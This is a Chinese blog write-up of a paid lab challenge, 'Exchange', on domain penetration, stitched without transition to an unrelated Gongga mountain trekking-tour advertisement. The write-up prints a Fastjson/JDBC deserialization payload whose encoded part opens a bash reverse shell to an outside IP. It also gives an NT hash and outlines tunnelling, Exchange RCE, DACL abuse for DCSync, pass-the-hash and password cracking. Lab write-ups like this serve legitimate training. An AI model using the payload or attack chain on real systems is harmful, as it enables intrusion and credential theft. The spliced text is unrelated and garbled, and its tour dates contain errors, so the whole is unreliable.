春秋云镜-内网极限挑战赛-Exchange

Posted 2023-04-09 Sugobet

Exchange

看到奖品还有证书，还涉及oscp方面的东西，过来打打

感谢TryHackMe

Exchange 是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag，分布于不同的靶机。

由于是付费的，时间就是金钱，为了节省点钱，我只好利用wp来进行半引导式渗透

借此来复习一下TryHackMe

(事实上我也看了其他几个房间的wp，得出的结论是thm教会了我太多太多，thm世界第一)

---

端口扫描

Web枚举 - 入口

进入8000，直接注册个账号

这里根据wp，存在一个可以让我们RCE的漏洞

但需要我们开启服务，由于我们没有公网ip，我们就借助thm的网络kali来帮助我们实现

如果java版本过高，请下载java8,然后为mysql_fake_server配置好java环境，否则会报错， https://repo.huaweicloud.com/java/jdk/

另外，这里需要提前下载ysoserial jar包，https://github.com/frohoff/ysoserial/releases

设置好config.json

thm的网络kali开启fake mysql server

把服务开起来之后就可以尝试利用了

/user/list?search=payload

payload:

 "name":  "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "攻击者IP", "portToConnectTo": 3306, "info":  "user": "yso_CommonsCollections6_bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNC4yNTQuMTUxLjE2My84ODg4IDA+JjE=|base64,-d|bash,-i", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1"  

其中的base64是shellcode，需要改成自己的，然后再base64

然后将payload进行urlencode之后交付

成功getshell，并且拿到flag1

sshuttle搭建内网隧道

查看内网网段

首先使用ssh-keygen生成ssh key

将公钥改为authorized_keys丢到.ssh目录

将私钥下回攻击机，然后修改私钥权限

sshuttle搭建隧道

.2是dc，.26是win10

内网横向移动 - Exchange

.9有一个exchange

上exprolog

现在能够RCE

flag2

内网横向移动 - DACL-WriteDACL

这里为了省时间，就懒得开rdp进去传mimikataz之类的提取凭据操作了

直接wp快速拿到exchange的机器账户和zhangtong的 nt hash

0beff597ee3d7025627b2d9aa015bf4c

应该是通过bloodhound这类工具发现exchange机器账户对整个domain-object有writedacl权限

通过它来使用impacket的dacledit为我们已经获得的zhangtong赋予dcsync权限,然后进行dcsync获取DA账户的ntlm hash

psexec进dc

flag4

最后的flag

smbclient进.26的smb C$ share

在lumia的桌面下有个secret.zip, 但是有密码

由于thm的kali有上限时间，准备到时了，为了在kali关闭之前搞定，我选择直接wp:

PTH Exchange导出Lumia mailbox里面的全部邮件以及附件
item-0.eml，提示密码是手机号
导出的附件里面有一个csv，里面全是手机号

然后常规zip2john加john

然后出密码，查看flag.docx得到flag3

结束

其实这套机器整体并不难，除了入口点有点小坑之外，其他都还好，包括后面的横向移动和域渗透，事实上都非常简单，thm都是教过的非常全面的，其实跟thm的wreath有点相似。只是在这里，每一分每一秒都是钱，并且在最后，我的thm的kali也即将到期并且无法续期，我只好跟着wp的思路来极速完成这个机器

最后感谢TryHackMe的优质教程和房间，令我学的这么多

也感谢wp作者：小离-xiaoli写的writeup，才能令像我这种穷鬼能加速和跳过一部分

蜀山之王大环线7天挑战极限穿越-挑战极限

【目的地资料】
贡嘎山(MinyaKonka)坐落在青藏高原东部边缘，在横断山系的大雪山中段，位于大渡河与雅砻江之间。藏语“贡”是冰雪之意，“嘎”为白色，意为“白色冰山”。山体南北长约60公里，东西宽约30公里，其主峰海拔7556米，地处北纬29.35.44，东经101.52.44，在四川省康定、泸定、石棉、九龙四县之间。贡嘎山海拔7556米，是四川省最高的山峰，被称为“蜀山之王”。山区高峰林立，冰坚雪深，险阻重重，是中国海洋性山地冰川十分发育的高山之一，在登山运动和科学研究中占有十分重要的地位。是一座极受登山及徒步爱好者青睐的名山。2005年中国国家地理杂志选美中国特辑里，入选为中国最美的十大名山（排名第二，第一是南加巴瓦）。
贡嘎山周边的山地里每年都有数千人徒步旅行。雪山、冰川、温泉、河谷和湖泊被一条条交通线联系起来，人们可以根据自己的需求，规划适合于自己的徒步旅行。从某种意义上说，以徒步的方式，更能体会自然本身的质朴和美妙，也更能贴近当地人的现实生活，感受独特的藏族文化。大多数徒步者更多选择贡嘎北线老榆林穿越或贡嘎西南坡穿越，两条路线风景各有千秋，很难取舍。而本次徒步路线，将两条线路最精华的部分结合起来，集中了贡嘎山地区的大部分景观，因此被我们称为“贡嘎山全线完美穿越”。

【活动批次】
温馨提示：
活动时间第一天为成都集合时间，次日出发。
集合当晚住宿，俱乐部已安排，各位驴友集合日当天到成都即可。
（8人以上团队可根据要求定制路线及日程）
增加一期：2018年4月28日-2018年5月5日
第一期：2018年04月29日-2018年05月06日
第二期：2018年05月26日-2018年06月02日
第三期：2018年06月16日-2018年06月23日
第四期：2018年06月30日-2018年07月07日
第五期：2018年o7月07日-2018年07月14日
第六期：2018年07月14日-2018年07月21日
第七期：2018年07月21日-2018年07月28日
第八期：2018年07月28日-2018年08月04日
第九期：2019年08月04日-2018年08月11日
第十期：2018年08月11日-2018年08月18日
第十一期：2018年08月18日-2018年08月25日
第十二期：2018年08月25日-2018年09月01日
第十三期：2018年09月01日2018年o9月08日
第十四期：2018年09月08日-2018年09月15日
第十五期：2018年09月15日-2018年09月22日
第十六期：2018年09月22日-2018年09月29日
第十七期：2018年09月29日-2018年10月06日 黄金周期间3280元/人
第十八期：2018年09月30日-2018年10月07日 黄金周期间3280元/人
第十九期：2018年10月06日-2018年11月13日
第二十期：2018年10月13日-2018年10月20日
第二十一期：2018年10月20 日-2018年10月27日
第二十二期：2018年10月27日-2018年11月03日
以上批次执行价：除开国庆黄金周，元旦春节，全年价格为成人2880元/人，此线路儿童成人同价
【活动行程】
D0：成都集合（俱乐部统一安排酒店，俱乐部会提前1天以短信形式告知酒店地址以及如何入住）
今日全国各地的队友将来到成都集合，统一入住我俱乐部安排的酒店。如果您的时间比较宽裕，还可以自行安排在成都市区的旅游活动，推荐游览锦里、武侯祠、杜甫草堂、宽窄巷子等景点，品尝成都特色美食，感受天府之国的休闲生活，相信绝对会让大家深深地体会到什么是“休闲之都”啦！
餐饮：全天餐费自理。
住宿：成都市区，酒店2-3人标准间。
海拔：成都540m

D1：成都-137km-雅安-130km-石棉-105km-泸定-75km-康定-10km-老榆林-8km-电站-3km-格西草原
早餐后在酒店门口集合乘车经成雅高速前往雨城雅安，沿途欣赏川西田园风光。下高速沿318国道一路西行，伴着秀美青衣江途径二郎山隧道、大渡河、泸定桥，康定城，一路行摄，在康定城采购物资后继续前进，从电站开始徒步3km左右抵达格西草原扎营。
餐饮：含早餐泸定中餐，格西草原营地晚餐；
住宿：格西草原营地露营；
需时：成都-康定行车约6.5小时，康定-老榆林-电站行车约1小时，徒步约1.小时；
海拔：成都540m，康定2970m，格西草原3400m
温馨提示：针对第一天行程，如遇半路堵车等延误时间（如国庆大假等），致使不能抵达或抵达营地很晚的情况，安全考虑俱乐部以实际情况做简单行程调整，原本第一晚露营改住老榆林村民居费用大约40~60元/人自理，如遇这种情况给大家带来的不便请谅解。

D2：格西草原-8km-两岔河-5km-下日乌且-4km-上日乌且
早上7点起床，拍摄营地晨光，7：30早餐，8点出发，徒步上山，沿途欣赏满山遍野的野花，大约徒步3小时后抵达两岔河,两岔河右边是通往盘盘山口,我们选择走左边翻越日乌且垭口的路,这里走到上日乌且大约4个小时,我们在这里扎营,今天的沿途可欣赏巍峨的海拔6070米的田海子雪山,6027米的小贡嘎等山峰,十分壮观。本日海拔上升至4350米，路程约19公里。
餐饮：营地早餐，路餐自理，上日乌且营地晚餐；
住宿：上日乌且营地露营
需时：格西草原-两岔河约2.5小时，两岔河-下日乌且3小时，下日乌且-上日乌且1.5小时
海拔：格西草原3400m，两岔河3780m，上日乌且4350m

D3：上日乌且-6km-日乌且垭口-12km-莫溪沟尾营地（勒多漫因BC）
早餐后拔营出发，开始翻越日乌且垭口。一路上可以欣赏到小贡嘎、嘉子峰以及日乌且冰川风光。垭口海拔约4830米，需要一定体力和耐力去完成，体力不支者可在日乌且牧场雇佣马匹骑马上山（仅限夏及秋季）。日乌且垭口是日乌且沟和莫溪沟的分水岭，垭口气象万千，可以看到贡嘎中部和南部的群山。垭口之后就是一路下山了，比较好走。当天傍晚在莫溪沟尾扎营。
餐饮：营地早餐、路餐自理、营地晚餐；
住宿：露营
需时：上日乌且-垭口约2.5小时、垭口-营地约4.5小时；
海拔：日乌且垭口4830米、莫溪沟营地约4100米。

D4 ：莫溪沟尾营地-25km-贡嘎寺
早餐后出发沿莫溪沟经冬季牛场到达贡嘎寺，这一路海拔基本上是下降的，贡嘎寺海拔3750米。贡嘎寺位于贡嘎山主峰脚下，始建于公元十三世纪，由第一代贡嘎活佛所建，为历代贡嘎活佛修行闭关之地。贡嘎寺是藏传佛教噶玛噶举派（白教）的三大圣地之一，是藏密五大金刚之一胜乐金刚的道场。它不仅是一个著名的宗教胜地，也是贡嘎主峰的最佳拍摄地点之一，在这里终于可以不用露营了。
餐饮：营地早餐、路餐自理、贡嘎寺晚餐；
住宿：贡嘎寺（木板床，没电，没干净被子，无淋浴）；
需时：当天需徒步8小时；
海拔：贡嘎寺3750米

D5：贡嘎寺-6km-上子梅村-8km（乘车）-子梅垭口-8km（乘车）-上子梅村
早餐后离开贡嘎寺，先是一段下降再开始陡峭的爬升，经上子梅村，来到子梅垭口。贡嘎主峰就在身后若隐若现，到达子梅垭口，在这里看贡嘎有绝佳的视角。那种气势磅礴足以震撼每个到访者的心灵。在垭口欣赏完贡嘎夕照之后，乘车下山返回子梅村住宿。子梅村到子梅垭口往返交通为小面包或拖拉机，乘车费用已包含。
餐饮：营地早餐、营地晚餐；
住宿：露营；
需时：贡嘎寺-上子梅村2小时、上子梅村-垭口徒步4小时；
海拔：贡嘎寺3750米、子梅垭口4550米

D6：上子梅村-下子梅村-巴望海-界碑石-草科（石棉）
当天早餐后离开上子梅，约半小时抵达下子梅，下子梅村到巴望海约12km，均为比较平缓的下坡路，走起来较为轻松，沿途风光极好，在巴望海休整摄影后，整队出发，一鼓作气抵达公路出口，乘上等候我们的专车沿田湾河抵达草科。晚餐后好好享受草科的温泉~！（根据实际情况可能调整到石棉住宿）
餐饮：营地早餐、路餐自理、草科晚餐；
住宿：草科当地宾馆（或者石棉当地宾馆）；
需时：下子梅村-巴王海约4小时，巴王海-公路约2小时，公路-草科约1小时；
海拔：巴王海3200m、草科1500m。

D7：草科（或者石棉）-两河口—石棉—雅安—成都
乘专车，离开草科，沿大渡河大峡谷，翻二郎山，原路返回成都。返回成都的时间约下午4点左右，请当天离开成都的外地朋友做好相应安排。
餐饮：草科早餐、天全午餐；
住宿：自理；
需时：草科-成都约需6.5小时；
海拔：草科1500m、成都540m。

【费用说明】
1、交通：全程进山往返费用。及子梅村-子梅垭口往返交通费用。
2、住宿：按行程所列标准入住。已包含出发前当晚成都商务酒店住宿。
3、餐饮：8正7早。包含徒步期间的营地早餐、营地晚餐。营地晚餐为三荤两素一汤；营地早餐为粥，榨菜、大饼、清炒蔬菜或面条等。
4、门票：包含贡嘎寺进山门票。
5、马匹：已包含马匹驮装备费用，个人骑马费用自理。
6、装备：炊事帐篷、燃料、炉具、炊具、部分餐具、通讯工具等。
7、向导及协作：足迹户外户外专业认证领队,当地藏族协作
8、保险：赠送太平洋专业登山保险。
9、俱乐部组织费等。

【费用不含】
个人骑马费用，购物费用，以及其他奢侈性消费产生费用。

【个人装备】
一、衣物类：
冲锋衣裤、抓绒衣裤（以保暖为主）、排汗内衣、快干衣裤、羽绒衣裤、其他个人衣物、帽子（建议两顶，一顶防晒、一顶保暖）、头巾或围脖（女性可带颜色鲜艳纱巾）、保暖手套、袜子、登山鞋或休闲鞋；
二、箱包类：
1.户外背包65L左右（带防雨罩）--温馨提示：户外徒步驴行，切勿带行李箱，我们小马儿会经受不住的哦；
2.小背包（随身携带，用于储藏当天行进中的干粮以及个人重要物品等）
三、生活用品、护肤类：
个人洗漱用品、太阳镜、防晒霜（50倍以上）、唇膏、保温杯、雨衣；
四、露营装备：
帐篷、睡袋、防潮垫、头灯
五、重要证件类
1.×××或护照
2.军官证、导游证、学生证等（部分景区可减免门票，减免部分，俱乐部会退还）
六、餐食类：
1.此线路需备3顿路餐
2.能量高、方便携带、开胃的食物，例如：巧克力、牛肉粒、面包、榨菜、辣条等
3.可带部分方便携带的水果，例如：苹果、梨子、橙子等。
七、通讯摄影类：
1.手机；2.相机；3.各种×××大炮摄影镜头；4.对讲机（可选择）。
温馨提示：请大家带好备用电池或太阳能充电宝，藏区条件有限，不一定每晚都有电量补给点。
八、其他：
雪套、登山杖、护膝、个人常规药品、常规感冒药等。

【公用装备】
炊事帐篷、食品、燃料、对讲机、小型应急氧气、应急药品等

【出团通知】
1、成都足迹户外领队提前3天完成名单统计（西藏，新疆提前5天），并在提前1-2天，电话及短信通知（包含集合宾馆名称、地址、电话、领队联系方式以及注意事项等），集合当天以短信提示入住，请保持手机畅通，以便我们领队可以用联系上你（一般我们的领队会在集合当天傍晚联系大家）。
2、短信通知完毕，成都足迹户外领队还会和大家一 一电话确认，交流注意事项以及提醒您的装备情况，如果提前1天还未收到短信或电话确认的，请拔打电话[phone]联系我们。
3、入住酒店时间每个地区各有不同，一般为12：00之后办理入住，西南地区一般是14：00以后，如提前到达酒店，并且酒店房间未准备好，可以将行李寄存在总台，先行出去游玩品尝美食.

【活动守则】
1、注意安全，听从领队安排，严禁迟到，严禁擅自冒险行动、离队、安全自负。
2、队员之间必须相互体谅，如在活动中遇分歧或提议由大家协商解决。
3、请队员尊重当地的风俗习惯，注重环保，爱护景区内的一草一木，不砍伐幼树，不乱扔杂物。（每人自备一杂物袋）塑料袋、废旧电池及不可降解的物品一定要带出。
4、身体健康，吃苦耐劳，有安全意识，有团队协作精神，户外人人平等。
5、因队员自身原因在报名后无法参加活动或中途退出，已交费用不予退还。

【报名要求】
无严重高山反应及心、脑、肺，精神疾病，体能良好的户外爱好者

【注意事项】
1、注意安全，听从领队安排，严禁迟到，严禁擅自冒险行动、离队、安全自负
2、注重环保，不乱扔杂物。（每人自备一杂物袋）塑料袋、废旧电池及不可降解的物品一定要带出
3、尊重当地的风俗习惯
4、身体健康，吃苦耐劳，有安全意识，有团队协作精神
5、队员之间必须相互体谅，遇到分歧大家可以商量解决，但决定权在领队
6、在整个户外活动中，,如果出现特殊情况，请参加队员绝对服从领队的意见。一旦报名，请不要以个人喜好要求领队变更行程
8、户外人人平等。严禁高姿态地将现实身份带进户外
9、本次活动为高原徒步线路，请大家对自己身体情况加以正确评估以决定是否参加。
10、高原长冬无夏，气候变化无常，昼夜温差很大，即使夏天也有降雪可能，请大家注意携带保暖衣物，并请选择-10℃温标睡袋。高原紫外线强烈，请准备防晒用品。
11、徒步中手机全线无信号。
12、高原地区热量流失快，因要进行长途跋涉（体力不支者可骑马）请自备高热量食品以补充体力。巧克力、压缩饼干、维生素等可适当准备。
13、所达地区风景秀丽，摄影景点无数，胶片玩家请带够胶卷和电池，数码玩家请带够存储卡和电池。
14、本次活动路线特殊，路线长，路况差，当地接待设施很差，当地人服务意识不足。活动组织方只能尽力去为大家安排好一切。但难免有许多不足之处，请多多包涵。
15、由于户外运动有一定的危险性和不可预知性。参加者对自己的行为及后果负完全责任。领队不对任何由户外运动本身具有的风险以及往返路途中发生的危险所产生的后果负责。凡参加者均视为具有完全民事行为能力人。本次活动组织者已为每个队员办理适合本次活动的相关保险，如在活动中发生人身损害后果，由受损害人依据法律规定和本声明，由保险公司依据据保险条例执行赔偿责任。在没有主观过错情况下，领队及组织者不承担任何赔偿责任。代他人报名者，被代报名参加者如遭受人身损害，赔偿责任领队及组织者概不承担。
16、客人在沿途请自行保管自己的物品，重要物品如；相机、手机、现金、证件请随身携带，如有遗失自己行负责，与俱乐部和领队无关。

【报名备注及定金支付】
1、本次活动满6人成行，不足6人，请先打电话咨询详情。
2、有意参加活动者仔细了解行程、装备要求、费用情况、注意事项，有不清楚的问题请联系客服人员确定。
3、本路线活动定金1000元/人。您在安排好假期和往返交通之后，需要尽快支付定金。
4、报名确认以交纳活动定金为准，不因任何口头承诺而预留名额。
5、外地朋友可以通过银行汇款或支付宝转账支付定金，汇款后联系客服人员及时查帐确认。
6、因故放弃活动定金如何处理？
A、因不可抗力因素（严重自然灾害、政府行为、社会异常事件...)无法参加活动的，定金全额退还。下雨、临时加班、生病、航班延误不在此例。
B、因其他原因，以集合日当天18时算起，96小时之前放弃活动的，定金可全额退返，或延期到下一次活动使用。
C、因其他原因，以集合日当天18时算起，96小时之内~24小时之前放弃活动的，需扣除已发生费用如订房、订车、保险等费用，余额可延期到下一次参加活动使用。
D、因其他原因，以集合日当天18时算起，24小时之内放弃活动的，定金不予退还。
E、出发日当天付清全款。活动途中因个人原因退出的，可退返未发生费用（部分住宿、门票、餐费）。

【退订规则】
国内游活动凡是报名付款后，要退出活动的：
1、旅行者在集合前7日以内（含第7日，以集合当天18时算起，下同。）提出解除合同的，按照下列标准向俱乐部支付业务损失费：
a、出团前8天以上退团，定金全退。
b、集合前7日至4日，支付旅游费用总额30%；
c、集合前3日至1日，支付旅游费用总额50%；
d、集合当日，支付旅游费用总额70%。定金全损，不予退还。
e、因不可抗力因素（严重自然灾害、政府行为、社会异常事件...)无法参加活动的，已付定金全额退还。下雨、临时加班、生病、航班延误不在此例。
如按上述比例支付的业务损失费不足以赔偿俱乐部的实际损失，旅行者应当按实际损失对俱乐部予以赔偿，但最高额不应超过旅游费用总额。
出发日当天付清全款。活动途中因个人原因退出的，可退返未发生费用（部分住宿、门票、餐费）。余额可退还或延期到下一次参加活动时使用。

【关于高原旅行】
在川西高原的一年之中，绝大多数时间天气晴朗，阳光明媚，就是有雨雪，也多在夜间降落。
春季（4、5月）：各种山花竞相开放，为高原带来了春的气息，略显不足的是气候偏冷，时有春雨侵袭。各种高山杜鹃竞相开放。
夏季（6、7、8月）：虽然各种高山杜鹃早已开放完毕，但川西的草原一片青翠，星星点点的野花怒放其中，衬映着清澈的河水，远处雪白的雪山，虽然比不上秋天多姿多彩，却另有风味。虽然是高原的雨季，天气变化阴晴不定，一般不会有长时间的大雨或暴雨天气。而且一般雨后看到彩虹的机率是相当高的。
秋季（9、10月）：无论是从气候、景色来说，秋季都是最适合前往高原旅游的，五彩斑斓红叶，野花、青稞、雪山和谐地搭配在一起，构成了最独特的美丽。但高原的秋季非常短暂，这是最令人遗憾的。
冬季（11月－来年3月）：冬季的高原白天往往都是大晴天，艳阳高照，你感受到更多的是苍茫，黄灿灿的草原，看到雪山的机率很高，夜晚还能看到灿烂的星河。

【关于高原反应的应对措施】
到高原旅行，大多数人或多或少有点高原反应，特别是初上高原的人，这个很正常。只有身体健康，很快就能适应高原气候，所以不必有心里负担。
高原反应主要症状为头痛、胸闷、呼吸急促、呕吐、恶心、失眠等，一般来说过1—2天后，以上症状都会逐步减轻和消失。但有严重心、肺病、高血压患者不宜到高原旅游。尤其要注意一些平时很激进，好胜，雄心万丈，爱面子，自视甚高而体力好的家伙！避免出发前的感冒、发烧之类呼吸道常见病；保存充沛的体力。
1、适量饮用酥油茶、奶制品和牛羊肉可增强对高原气候的适应能力。要防止干燥，特别是防晒用的唇膏、防晒霜等，可以有效防止水份的流失，可以增加身体的抵抗力。
2、初入高原多休息，不可暴饮暴食，以免加重消化器官的负担，不要饮酒和吸烟，多喝水多吃水果，禁烟酒。不要奔跑和剧烈运动。可适当准备一些氧气罐。
3、饮食宜有节制，不可暴饮暴食，以免增加肠胃负担。可多吃蔬菜、水果、多喝水，最好早上活动前喝足水，活动时多喝水但每次少喝点，最好不吸烟。不喝酒。在高原旅游宜穿宽松、保暖的衣服。因为日照强烈，最好戴上墨镜、太阳镜、防晒霜以免紫外线灼伤皮肤。还有就是进高原时自己带点零食（注：巧克力等）
4、要防止因受凉而引起的感冒。高原温差特别大，很容易着凉并感冒，宁可热一点，不可冷一点，多穿衣服。
5、一旦发生高原反应也不必恐慌，要视其反应的程度而有针对性的治疗。如果反应较低，可采取静养的办法，多饮水，少运动，一般一段时间后会消失或减弱。
6、常用的预防高原反应的药物：红景天、肌肝片、葡萄糖等，进山前二天开始服用，路途中也坚持服用，可以有效防止高山反应。
7、在户外运动中应充分考虑安全因素，不能因景色太好而忽略安全，在住宿地最好不要夜间单独出门。
8、由于全程大多数路段处于高原，行车时间较长。有可能会因塞车、道路维修等客观原因造成抵达时间上的延误。
【24小时散客、团队报名及投诉建议】
1、成都足迹户外全面拓展于川南、川北、川西以至西藏、云南、青海、甘肃等地户外活动策划。徒步、穿越、登山、摄影、自驾等户外活动，
诚心为您私人订制、专业为您团队量身订制。旅游强强阵容：线路策划、私人订制、团队量身订做、旅行包车服务、旅行酒店预订、旅行领队出租等业务。
嘉措：17358684623 微同